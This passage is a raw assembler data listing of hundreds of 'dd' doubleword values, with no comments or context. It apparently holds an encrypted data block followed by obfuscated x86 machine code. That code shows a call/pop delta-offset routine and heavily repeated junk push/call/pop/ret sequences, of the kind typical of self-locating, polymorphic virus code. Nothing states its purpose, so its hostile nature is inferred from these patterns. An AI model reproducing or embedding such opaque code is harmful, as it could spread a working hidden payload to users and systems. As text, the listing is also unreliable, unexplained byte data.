		dd 7AFA7B01h, 0F2763A90h, 3CFD445Bh, 0C6108AB4h, 78FDEC98h
		dd 0F1B828F6h, 9172F5D4h, 7876E89Fh, 52F47670h,	0DCB6620Ch
		dd 8D0464EBh, 20221F4Ah, 747BF21Bh, 0CD89AAA5h,	7143C7EDh
		dd 9026E8FAh, 78767493h, 20B562B0h, 7C525919h, 7C52CA11h
		dd 78764786h, 0CB5F3D0h, 0E55FE015h, 7143E605h,	0FDFBBF1Bh
		dd 714E41E0h, 90271DFAh, 78768E93h, 21B51EB0h, 7C52EF19h
		dd 7C529511h, 7876E885h, 88B525D1h, 0F1CBB396h,	187F28A1h
		dd 4A471B19h, 769F4EA5h, 0BA76A390h, 79311916h,	0CE34CF27h
		dd 34ED026Eh, 0BBCC5BEAh, 870C7231h, 2976E440h,	78764478h
		dd 0BB2F8390h, 5C3A58C9h, 5C326994h, 78766194h,	0BB277B90h
		dd 0E5FFD9A7h, 7143BED1h, 0FBBAB610h, 781C8750h, 787539C7h
		dd 2756E890h, 4FF2B53h,	3CF73EB4h, 786E19B4h, 2F318E90h
		dd 3C1E5D53h, 8CFC2A94h, 57134419h, 0FDFFE1A5h,	7143784Dh
		dd 671FBF19h, 0FDFD14A5h, 7143AA45h, 639FDA19h,	0E5FDAAA5h
		dd 7143D34Dh, 9020E8FAh, 78767493h, 26B564B0h, 7C526919h
		dd 7C52CA11h, 78764789h, 0C8B5F5D6h, 0CFA65A43h, 709FABBCh
		dd 25767490h, 8182A507h, 7762C626h, 63FD712Fh, 902047FAh
		dd 7876A393h, 26B58FB0h, 7C529C19h, 7C523011h, 78763A84h
		dd 0DAB54BD6h, 78768B79h, 0B57C6E90h, 0FDFFCF53h, 7143D49Dh
		dd 781CF31Bh, 78759CC0h, 20563A90h, 3CFF4553h, 3CF78AB4h
		dd 786D43B4h, 2836A390h, 0F5BF9F53h, 5CFE6677h,	126DFF40h
		dd 7B9E6890h, 58761D90h, 0F12C4DCAh, 0F97263C4h, 6D7287D4h
		dd 3A76D190h, 0ECD92BC2h, 8AEA8311h, 0A0454726h, 5EB9469h
		dd 187FBB9Dh, 78765578h, 32FC6490h, 11609808h, 0EFFEEFC8h
		dd 75222D70h, 1E45B283h, 0B79BCD11h, 85E307CEh,	197F7293h
		dd 6FEB2656h, 1231D8A5h, 7B9EBE90h, 58767490h, 0F128F9CEh
		dd 0F97239E4h, 6172AAD4h, 3E764790h, 0BF6C60C6h, 0D967A221h
		dd 787301F0h, 0D0667490h, 1E9C0DE5h, 9017CE1Bh,	78768E94h
		dd 0CFA89A39h, 1826B922h, 0F0626BF6h, 7874659Fh, 0AFFD7490h
		dd 5C32B1F1h, 661FA494h, 78FDA68Ch, 1F64F9F6h, 7C52E719h
		dd 7876C278h, 96DB6390h, 0B450AC69h, 0D3EE7631h, 72B1C080h
		dd 4BFC1ABh, 21BCCCF6h,	2F76C9C8h, 7876D278h, 0BB29C890h
		dd 5C0AFDCFh, 5C32BB94h, 78760594h, 0BB21C990h,	6C8FF5D4h
		dd 71CB2A9Ah, 777FE4B9h, 0CD893A27h, 714362EDh,	532BA799h
		dd 0FDFB14A5h, 714EF5E0h, 902647FAh, 7876A393h,	20B589B0h
		dd 7C52AC19h, 7C523011h, 78763A8Ch, 26B54DD0h, 3F7F6C4Eh
		dd 0DEA478D8h, 7870279Fh, 0FDFFD190h, 7143ECADh, 781CA46Fh
		dd 7875D2C2h, 22561D90h, 2CFFD453h, 3CF743B4h, 786CA7B4h
		dd 2A34D190h, 16D2AD53h, 0AD19480Ch, 0D69383F6h, 729F9819h
		dd 689F87A5h, 73764790h, 7533200Bh, 43F49C6Ah, 0BD738B17h
		dd 38F8DAD1h, 781C3A1Bh, 7875F5C6h, 26568E90h, 0CFF1953h
		dd 3CF7A7B4h, 7861D5B4h, 2E30E890h, 0A8451D53h,	77AFBB3Fh
		dd 0F3238E5Eh, 2B76E490h, 78764478h, 0BB2D8390h, 5C2A58CBh
		dd 5C326994h, 78766394h, 0BB257990h, 4DA8260Bh,	0F18E05F6h
		dd 4D7D7615h, 81FDC399h, 7876C179h, 1F1E5B90h, 7ED348A2h
		dd 0D32F2B6Bh, 0E8C1F993h, 0A29FEFA8h, 1E764790h, 0F5F38E2Ah
		dd 40C15815h, 0F310B899h, 5C72FD5Eh, 90233AFAh,	78761D93h
		dd 25B5D3B0h, 7C522B19h, 7C52E711h, 7876D189h, 0CCB5BDD5h
		dd 0A6980C4Eh, 8DCBB162h, 877F288Dh, 4D679705h,	28762D99h
		dd 7876A078h, 0BB2EF190h, 5C3261C8h, 5C32F594h,	78762094h
		dd 0BB265D90h, 6D7FAE31h, 0F3305B29h, 4D77321Dh, 69C35899h
		dd 0F57FDDA0h, 40C1FB0Dh, 32BFBB99h, 286524CDh,	0F18105F6h
		dd 1E26638Ch, 7CFF701Bh, 0B9E35AB4h, 877FDD9Dh,	4D5CF105h
		dd 0FDEB3B99h, 0F17F28B6h, 4D7A5315h, 28762D99h, 7876A078h
		dd 0BB2EF190h, 5C3261C8h, 5C32F594h, 78762094h,	0BB265D90h
		dd 0ADBB3291h, 9111DC4Fh, 7876A382h, 6E5093A7h,	14051EE8h
		dd 0A6105176h, 2AE37BEAh, 0F310ACD6h, 0E5F34862h, 2B7F7287h
		dd 0F1A528F0h, 4D7A801Dh, 0B11E8999h, 18DF5867h, 78F835C3h
		dd 26761D90h, 2A26DCC0h, 202C769Fh, 0C110929Fh,	202CF3FDh
		dd 5C4269F1h, 7BDD0726h, 90213AFAh, 78761D93h, 27B5D1B0h
		dd 7C523B19h, 7C52E711h, 7876D187h, 0D1B5BFD7h,	7772ADAEh
		dd 78763C1Eh, 15FB9490h, 0F37FBBB7h, 4D640A25h,	5C35C99h
		dd 127FE486h, 7B9EBA90h, 58767490h, 0F12CF9CAh,	0F97239C4h
		dd 6D72AAD4h, 3A764790h, 1DEB60C2h, 7876DE79h, 0F1F19990h
		dd 9EB034DCh, 47C27CBFh, 0B71418FEh, 3060B1Dh, 0CDFD4EA8h
		dd 714387E5h, 0CF79016Fh, 29F3615Eh, 187F4181h,	753BAFA1h
		dd 0BE1714A5h, 4D611315h, 781C0099h, 78754BC7h,	2756D190h
		dd 4FFB753h, 3CF770B4h,	78633EB4h, 2F311D90h, 1E92BC53h
		dd 251AB011h, 0B1C717F8h, 7864380Fh, 0F661E890h, 7A9FCAE8h
		dd 0E0C23361h, 0F80E6D13h, 0B191500Dh, 0A4524311h, 0F3770BF3h
		dd 4D5ABC1Dh, 5C31799h,	127F4186h, 7B9E6B90h, 58761D90h
		dd 0F12F4DC9h, 0F97263DCh, 627287D4h, 3976D190h, 2E692BC1h
		dd 0A2E09E4Eh, 3DE3B3E4h, 0F57F28BBh, 400DFE15h, 75EB6E99h
		dd 877F968Bh, 0B6C8B740h, 0F1F36185h, 127F4192h, 7B9E6A90h
		dd 58761D90h, 0F12E4DC8h, 0F97263D4h, 617287D4h, 3876D190h
		dd 66652BC0h, 184B05C0h, 6FEBBF56h, 122514A5h, 7B9EDD90h
		dd 58764790h, 0F12D60CBh, 0F972F5CCh, 6572CCD4h, 3B767490h
		dd 0A6D5F9C3h, 51AB37FDh, 0EA905D6Dh, 0D03F81F8h, 2A26C3C4h
		dd 49798EC0h, 202CB1C6h, 78767C78h, 8C4F9690h, 954D3DF3h
		dd 0F917D766h, 6DBC6394h, 781CE701h, 787539C0h,	2056E890h
		dd 3CFF2C53h, 3CF73EB4h, 786019B4h, 28368E90h, 518F1653h
		dd 7873279Fh, 2DCFD190h, 876F2C04h, 4D600925h, 28765099h
		dd 78761E78h, 0BB2EAE90h, 5C32CEC8h, 5C322294h,	7876CD94h
		dd 0BB26A890h, 1BF3CAECh, 0E8077713h, 787EF542h, 993B8E90h
		dd 46DB1CB4h, 9EF69D65h, 97F78B79h, 62D68733h, 306F11Dh
		dd 781C33A8h, 7875F5C6h, 26568E90h, 0CFF1953h, 3CF7A7B4h
		dd 786CD5B4h, 2E30E890h, 99777D53h, 0CC4960C0h,	5C3B88BBh
		dd 0A88987A5h, 902147FAh, 7876A393h, 27B58EB0h,	7C529419h
		dd 7C523011h, 78763A8Ch
		dd 0BAB54AD7h, 0A7E1136Bh, 9DB8157Dh, 75732619h, 781CD8A5h
		dd 787500C3h, 23567490h, 24FF6153h, 3CF719B4h, 786F8AB4h
		dd 2B354790h, 7C4BCE53h, 0F39EF530h, 0E5F32E63h, 2F7F4187h
		dd 90263AFAh, 78761D93h, 20B5D6B0h, 7C520319h, 7C52E711h
		dd 7876D184h, 0AEB5B8D0h, 0DDFB7D69h, 107F0F80h, 0F91C144Ch
		dd 0F9A005F6h, 305C6394h, 0FAC4AD0Ah, 6E0B646Fh, 781CE1A5h
		dd 78759CC7h, 27563A90h, 4FF4253h, 3CF78AB4h, 786143B4h
		dd 2F31A390h, 904A1653h, 0F5375DC9h, 400D0415h,	0CD755A99h
		dd 71433E75h, 1EA671F1h, 0CCBD9D11h, 56CF2619h,	0B6FDD8A5h
		dd 651B7519h, 0FDB07DA5h, 71432D0Dh, 0CFB09CD3h, 105BD68Fh
		dd 0D537F76Dh, 4CF7FDC0h, 0A9B604B4h, 29768281h, 78767778h
		dd 0BB2F1A90h, 5C3A94C9h, 5C320F94h, 78765394h,	0BB27E290h
		dd 5C32EB3h, 127FDD86h,	7B9E2790h, 58763A90h, 0F12DDECBh
		dd 0F972AACCh, 6D7263D4h, 3B76A390h, 1C12C3h, 1E8663F6h
		dd 34F78311h, 306BF1Dh,	781C14A8h, 787566C6h, 26564790h
		dd 0CFFFD53h, 3CF7D5B4h, 786EECB4h, 2E307490h, 0DF43553h
		dd 0F3167509h, 4D52B31Dh, 196CF399h, 781C736Fh,	787539C0h
		dd 2056E890h, 3CFF2C53h, 3CF73EB4h, 786F19B4h, 28368E90h
		dd 5F63F053h, 91435FE0h, 7876D19Dh, 0C2F5B22Ch,	4E289C9Bh
		dd 4B71E303h, 0F9F39426h, 1E7FBB9Ch, 0F547C329h, 40C1DC15h
		dd 2D76BB99h, 7876EB78h, 0BB2B5490h, 5C1AB3CDh,	5C329C94h
		dd 78769A94h, 0BB230290h, 78F2AC09h, 0E876D190h, 2A26BAC0h
		dd 77B8FFF6h, 7870D3A1h, 0C8191D90h, 0C2C1B0CFh, 49791FCAh
		dd 27A728C6h, 0CA2689CAh, 0ED477835h, 7143500Dh, 696FAF6Fh
		dd 0AEFD14A5h, 781C561Bh, 7875AFC3h, 2356A390h,	24FF8A53h
		dd 3CF7ECB4h, 786E70B4h, 2B353A90h, 48E9AE53h, 0FD5F0CEDh
		dd 71434405h, 0CF05261Dh, 781CD8A8h, 787500C0h,	20567490h
		dd 3CFF6253h, 3CF719B4h, 78618AB4h, 28364790h, 796F8D53h
		dd 7AFFDE01h, 0F376E890h, 7CFF2458h, 2E7650B4h,	78761E78h
		dd 0BB28AE90h, 5C02CECEh, 5C322294h, 7876CC94h,	0BB20AE90h
		dd 7503AA6Bh, 0CDB247BAh, 0F3246D04h, 4D747F25h, 7E9E1E99h
		dd 0F676A390h, 61C4F5E2h, 91F78E2Dh, 0EB2F19A8h, 497968C0h
		dd 78769A9Fh, 202C8E90h, 0EBA1CCC0h, 9027A3FAh,	7876D193h
		dd 21B5B1B0h, 7C523819h, 7C527E11h, 78761D85h, 3BB5DFD1h
		dd 0FDE3B869h, 777F96BAh, 7876D711h, 9C3C190h, 0F17F41B7h
		dd 4D524B15h, 61E39699h, 777FBB94h, 0FDB1B02Fh,	71438B7Dh
		dd 7876D19Fh, 6AC75D19h, 0ED897DA5h, 71431EE1h,	90251DFAh
		dd 78768E93h, 23B51CB0h, 7C52FF19h, 7C529511h, 7876E88Bh
		dd 6DB527D3h, 0B97DE3AFh, 4BA08ED5h, 4D637B25h,	85F3CE99h
		dd 917F9695h, 7876D199h, 0BF56D7F6h, 86D34C7h, 0CDF3B1D0h
		dd 0F57F28B2h, 40BC570Dh, 7935CE99h, 4A071E1Dh,	0CDFBD8A5h
		dd 714E2223h, 78764729h, 93D2C990h, 7876A5A3h, 0B87D8E90h
		dd 60B444E4h, 5C322890h, 789E829Ch, 2376E890h, 7861B711h
		dd 24FF3A90h, 3CFF0DB4h, 0C02D9AB4h, 78CDE7A7h,	3CFD436Fh
		dd 9889D5B4h, 9020E8FAh, 78767493h, 26B564B0h, 7C526919h
		dd 7C52CA11h, 78764789h, 0B8B5F5D6h, 0C659BFD9h, 787E00C6h
		dd 0A5527490h, 406547E3h, 0F3107062h, 781CD062h, 7875AFC6h
		dd 2656A390h, 0CFF8F53h, 3CF7ECB4h, 786170B4h, 2E303A90h
		dd 3ED51653h, 89FDE8F0h, 72BBDA99h, 0F310AAA5h,	781CB06Bh
		dd 787500C1h, 21567490h, 34FF6353h, 3CF719B4h, 786B8AB4h
		dd 29374790h, 987AD953h, 0E5530614h, 848CBD01h,	0CF05C91Dh
		dd 0F5FB33A8h, 714ED616h, 5EDDBB28h, 0F9F37408h, 537F96BBh
		dd 8091165Fh, 757876A3h, 83FAF82h, 93605074h, 20A68A77h
		dd 1BB5DC6Eh, 31C5F5DDh, 0F305E983h, 6AD98BA4h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 4331C352h, 0E9BD6D83h, 0Eh, 4BCF4F11h, 9863EC14h, 0DE89B9C8h
		dd 8166E0BBh, 0E9C45DE1h, 62h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0B1C35141h,	93AC74Dh, 0F10E4C8Fh
		dd 0B86061DDh, 1687DCFBh, 0FE9h, 87E4E00h, 304822E5h, 5B11ED6Ch
		dd 0DA0F1E18h, 0DE961h,	358A0000h, 0A40E0A8h, 0F71522Eh
		dd 0C30EE197h, 8810Fh, 840F0000h, 2, 0C08B6160h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 23C35040h, 12E9214Fh
		dd 42000000h, 9F9A8834h, 0AF3DE51h, 0EFF72AFFh,	8B17B017h
		dd 0A1BD83A4h, 93526h, 0BD830975h, 9353079h, 50197400h
		dd 0B8C08B53h, 4B9h, 2CA98589h,	9D8D0935h, 937B49Fh, 585BD3FFh
		dd 3079BD83h, 74000935h, 0B8535017h, 4B9h, 2CA98589h, 9D8D0935h
		dd 937B140h, 585BD3FFh,	0EE9h, 2400D200h, 0CA2E7248h, 4F4BC92h
		dd 0FA60DB9h, 1689h, 11E900h, 4B0D0000h, 0A7176C52h, 2989EA13h
		dd 0B6C4E8E1h, 6A1571B8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0B23EC353h,	6042C89Bh
		dd 2B4DF81h, 61FC185Dh,	820FC08Bh, 8, 28D0Fh, 61600000h
		dd 66C18B40h, 0D57AEE81h, 4EBh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 984F24C3h
		dd 59858D14h, 0F9093526h, 0A4B16090h, 0EE85061h, 49000000h
		dd 3CF4B485h, 72066A87h, 956ECF2Ch, 5EFEBFC9h, 905E26D7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8CC35242h
		dd 8B4DE0CBh, 352D4DBDh, 6A006A09h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 673AC352h
		dd 2B2601F4h, 0AE8AF40h, 61000000h, 0A8371362h,	0E1DF7B52h
		dd 0FABF0F46h, 6A006A5Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 953FC356h, 0AA327D20h
		dd 8D0F377Bh, 2, 858DFE8Bh, 938CEB9h, 6A05C083h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 844C355h, 3270DD7Bh,	0AE95Fh, 0E57D0000h, 0DA093F45h
		dd 4259C6FDh, 91BE5090h, 90436110h, 311B589h, 6A0935h
		dd 6E9h, 751C3600h, 6A9AF013h, 3195FF00h, 66093503h, 5897D781h
		dd 9AAB9D8Dh, 0FFFC0938h, 0A5BD8BD3h, 0FF093505h, 35300985h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0F679376Ah, 5213AF42h, 89B58B64h, 0F09352Ah
		dd 689h, 0BDC78100h, 0E951B913h, 78Dh, 0E8h, 0ED815D00h
		dd 938CEC3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0E4C35141h, 0B549E927h,	0EDBD8107h, 0D0093528h
		dd 0F000007h, 17786h, 0EE800h, 660D0000h, 36C0BAB6h, 539F8C5Dh
		dd 41937E7Bh, 0ED9D8B5Eh, 6A09352Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CFA6C352h
		dd 0D1C8A0B8h, 12A1B58Bh, 0E3810935h, 100h, 0AADBD8Bh
		dd 0DB0B0935h, 0B1850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 872B7BC3h, 0AE45CA13h
		dd 0CD38BD83h, 0F000938h, 5484h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 858960DBh
		dd 9350615h, 6122ED80h,	7DE9FA8Bh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 9ADEC350h, 9295D95h,	350D1985h, 3885C709h, 10938CDh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0E95CC350h, 2Ch, 0C7FFB70Fh, 38CD3885h
		dd 9, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 4584DEA8h, 2CED9D8Dh, 0FB8B0935h
		dd 0FEFF2381h, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0E96E6C3h, 89289F5Bh, 3504898Dh
		dd 0CE909h, 0A6510000h,	0E1D25029h, 2EDB20C3h, 5E579611h
		dd 6ADB8C66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0E6ABC355h, 8B6BB97Ah,	4C3F6FAh
		dd 75840Fh, 0BF660000h,	95FFDF03h, 9352471h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 43C35242h, 291F79FEh
		dd 1426F0AFh, 0E19D8957h, 5E09350Ah, 1F659501h,	0F500935h
		dd 88Dh, 52506000h, 585A310Fh, 24048961h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 14h, 0BCC35343h, 3156FC60h
		dd 351F5DBDh, 0E9615B09h, 434h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 75C35747h, 5E96885h, 0A2000000h
		dd 78917644h, 0B49BD8Bh, 7EBE0935h, 0B02B9665h,	48A0F00h
		dd 51000000h, 0E65F6160h, 8971E470h, 3511C59Dh,	0D8B60F09h
		dd 6BAF5h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0DCAF45C3h, 0A0FF60B6h, 0EE9C9h
		dd 0A3260000h, 0BE740B3h, 9E363387h, 816AC853h,	8166C38Bh
		dd 0C18834E7h, 14BF04E8h, 817F53A8h, 0B58406EEh, 0E2F76672h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 93C35545h
		dd 2B02EA42h, 0E950F9D8h, 10h, 0E1D0856Dh, 0F835DAD1h
		dd 0B08134C1h, 27DAFBD1h, 0E8241C89h, 5, 16B62A7Ch, 0CFDE81C8h
		dd 5F6E6809h, 28EDB5FFh, 9D890935h, 935083Dh, 27E5B503h
		dd 95FF0935h, 9350829h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 34C35141h, 8E983h, 96940000h,	16CDAFDCh
		dd 0B05955h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0E0C35646h, 6A70E607h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 776DC355h, 9E6C6BBBh
		dd 12E971E4h, 0C4000000h, 0E37094B5h, 8205CEB2h, 84663BC3h
		dd 0D044748Dh, 0F613C16h, 2A383h, 261CBF00h, 0B60F1591h
		dd 55006AD8h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 6BA7080h, 0F000000h, 2E80h, 14E800h, 0A20E0000h
		dd 0F4757FF2h, 31DF0B9Fh, 4370348Ah, 5D28EAF0h,	0FE927DEh
		dd 0F8000000h, 7F571Ch,	0B105074Bh, 0F46A2D21h,	8B5EFADAh
		dd 56006AC3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0C47D2A0Dh, 6A04E8C1h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0FA59C355h
		dd 0E2F766F1h, 242DBD89h, 0BF0F0935h, 0E9D82BF8h, 13h
		dd 672782C1h, 37FA6F9Bh, 6B384209h, 8D4911CBh, 58F84167h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6FC35646h
		dd 2DBD0953h, 5F093532h, 880FD82Bh, 1B0h, 3E80EE81h, 7B95087h
		dd 8B000000h, 352795BDh, 0C18309h, 0F781FA8Bh, 3950764Ah
		dd 860FD93Bh, 18Ch, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 4DC35646h, 7A38CB44h,	0B3F0C21Bh, 119BD01h
		dd 13E80935h, 0AF000000h, 0D25539FFh, 703542F4h, 0D0B85F5Ah
		dd 5B5132FAh, 81663958h, 5F3F7BC7h, 6AD98C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F21C357h, 0C1F6F1BFh, 0F0840F04h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 5F35C355h, 19C4E16Dh, 74BF474Fh, 8B3039E4h, 7195FFF3h
		dd 6A093524h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FD1C351h, 8E9F3BFh, 79000000h
		dd 0D17227Ah, 5BF845C4h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0C1C35242h, 416A08CDh, 819529E5h, 2B09352Fh
		dd 8E9C3h, 0ACA40000h, 4E84E9E8h, 343D3230h, 0F000008h
		dd 5286h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 24DE8132h, 0E933BC10h, 54h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 44C35545h, 14AE6BBh
		dd 352CD585h, 0B1B58B09h, 8B093522h, 50006AC0h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0B14E6724h
		dd 9529B134h, 9350351h,	0D88BC38Bh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 98C35747h, 7BCC00EAh, 499D8981h
		dd 0C7093500h, 350CF985h, 0DBE19D09h, 57006A1Bh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0CF81B833h, 3F920842h, 0B58BC08Bh, 93504DDh,	28EDBD81h
		dd 7D00935h, 850F0000h,	0Bh, 85FFF98Bh,	93528EDh, 0FFFA8B66h
		dd 3528EDB5h, 6E809h, 47C00000h, 0FC93AB49h, 12E9h, 0EF131A00h
		dd 694B9213h, 0EBDD5BBh, 100E9D70h, 5EDFB426h, 82995FFh
		dd 0B58B0935h, 9350471h, 5678B890h, 0BD8B1234h,	9351601h
		dd 25C59D89h, 9D8D0935h, 938D5FFh, 0FFF8A3E9h, 52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 1AA9E1B8h, 0CB4DD57h, 6DB5891Ah, 8B093524h, 3502CDBDh
		dd 89C18B09h, 3516E5B5h, 4EB09h, 81000000h, 0D1A1F9F7h
		dd 55006A75h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 21E8B419h, 149CC646h, 8C0Fh, 858D0000h
		dd 9352659h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0B4C35040h, 0EBFDB109h,	0B58BB62Ch, 93527F9h, 11E890h
		dd 16FA0000h, 7A28C1A4h, 39D00D6Bh, 81CBFB10h, 662FD59Dh
		dd 5E2B1CBEh, 0C57ABE50h, 89901CA0h, 3527A59Dh,	11E909h
		dd 0EC060000h, 34A5FA35h, 0E8E08005h, 0EE4C6FDDh, 6AD552CAh
		dd 0EE816600h, 6A2AB1h,	77F68166h, 1D858DCCh, 6A0938D8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0F814C351h, 0A9519006h, 0EE9C0AAh, 0DB000000h
		dd 0C7936441h, 679A4050h, 143F7A94h, 5C08360h, 11F1B589h
		dd 0BE900935h, 2DA65376h, 0F605150h, 82h, 905F6100h, 5446E681h
		dd 6A6501h, 1219B58Bh, 6A0935h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 0D6C35747h, 0BF666A58h
		dd 95FF1064h, 9350331h,	13E8h, 0E7958400h, 0C3FA63C6h
		dd 0C9308B73h, 0F02D774Fh, 0F86C4D94h, 5FF18B66h, 9AAB9D8Dh
		dd 6A0938h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0FE220BC3h, 0EAB0344Ah, 0D3FF3468h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 94C35040h, 1317C8B6h
		dd 81BFA89Ah, 450370E7h, 6850F60h, 8B000000h, 352E55B5h
		dd 0B58B5609h, 935255Dh, 985FF5Eh, 0E9093530h, 0F06h, 0E8h
		dd 0ED815D00h, 938D827h, 0AE58F781h, 0BD81349Eh, 93528EDh
		dd 7D0h, 1BC860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 57A819C3h, 0BE9h, 0DAE44800h
		dd 43FBC84Ah, 4010180Dh, 419D8B5Fh, 0F8093504h,	100E381h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 47170CC3h, 0FDB0BF6h, 0F385h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0E9CCEE76h, 0B58909B0h, 93524ADh, 0D655BD83h, 0F000938h
		dd 5B84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 820F6026h, 6, 860Fh, 0DEB80000h
		dd 612B8A35h, 0B5E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 6FA537E6h, 0BE32D924h
		dd 5526156h, 0D65585C7h, 10938h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 28C46AC3h
		dd 7A437267h, 0F9E2AF4h, 57E9F9BFh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0D7E1C357h, 7CD518B8h, 0FCABD79h, 0B523F2B7h, 9352479h
		dd 0D65585C7h, 938h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0C8D6B0C3h, 9D8D14B7h
		dd 9350441h, 87D78166h,	0FF2381FCh, 6AFFFFFEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 6A7DC356h, 0FDE0264h, 585h, 0F6816600h, 8C667EABh, 55006ADBh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 9F8267Ch, 351EF9B5h,	4C3F609h, 97840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0C54D2C3h, 166DEBAh,	0FF757BA0h, 35247195h, 57006A09h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 929782Fh, 3504898Dh,	15BD8B09h, 90093524h, 0FB8B6660h
		dd 8E9h, 43330200h, 795DE505h, 9050617Ch, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 0ABC35343h, 736421D6h
		dd 8D89AFDAh, 9350581h,	0C89C34BFh, 47CE908h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 606059C3h, 810Fh, 0BD8B0000h, 9352DCDh, 0B5896061h
		dd 9352729h, 1618D01h, 61610935h, 0B70F00B0h, 6A70E6FAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0C3CDC352h, 4376166Ch, 0E4017F5Eh, 4DBD8B71h
		dd 0F09350Dh, 686h, 0E19D8900h,	0F09352Ch, 6AD8B6h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 6BAF4C3h, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 9915C352h, 6AC38Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 133C00C3h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h
